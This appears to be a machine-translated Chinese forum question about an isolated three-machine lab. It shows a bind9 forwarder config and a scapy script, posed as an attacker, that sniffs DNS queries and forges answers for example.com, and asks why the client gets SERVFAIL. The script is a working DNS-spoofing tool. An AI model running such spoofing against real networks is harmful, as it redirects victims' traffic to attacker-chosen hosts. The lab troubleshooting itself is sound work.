![从绑定 DNS 服务器接收答案时出现问题](https://linux22.com/image/114106/%E4%BB%8E%E7%BB%91%E5%AE%9A%20DNS%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%8E%A5%E6%94%B6%E7%AD%94%E6%A1%88%E6%97%B6%E5%87%BA%E7%8E%B0%E9%97%AE%E9%A2%98.png)
作为实验的一部分,我在 3 个 Ubuntu 机器上运行创造环境。
称他们为客户端、服务器和攻击者。
客户端连接到服务器。 (分别为 10.1.1.2 和 10.1.1.3)
服务器连接到攻击者。 (分别为10.1.2.3和10.1.2.2)
服务器运行bind9服务器,旨在模拟将任何查询转发给攻击者的递归解析器,该攻击者作为MITM运行。
在服务器中,我已经编辑了命名.conf.选项:
options {
directory "/var/cache/bind";
dump-file "/var/cache/bind/dump.db";
recursion yes;
allow-recursion { any; };
allow-query { any; };
allow-query-cache { any; };
forwarders { 10.1.2.2; };
forward only;
dnssec-validation no;
auth-nxdomain no;
listen-on-v6 { any; };
}
在客户端中,我编辑了解析配置文件:
nameserver 10.1.1.3
nameserver 192.168.252.1
search create.iucc.ac.il
第二个 ns 是创建环境 ns,它没有连接到互联网,只回答“create.iucc.ac.il”的查询。
在攻击者中,我运行以下 scapy 脚本:
from scapy.all import *
def callback(pkt):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1,\
qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata="6.6.6.6"))
send(spfResp, verbose=1)
return 'Spoofed DNS Response Sent'
sniff(filter="dst port 53", prn=callback)
它应该返回有关“example.com”的查询的答案。
但是,当我使用
dig example.com
在客户端中,我收到来自 10.1.1.3 的 SERVFAIL。 scapy 脚本确实将响应发送到服务器。客户端收到答案(与脚本预期相同)的唯一一次是当我发送垃圾邮件“dig example.com”命令时。
为什么它不起作用?我的配置正确吗?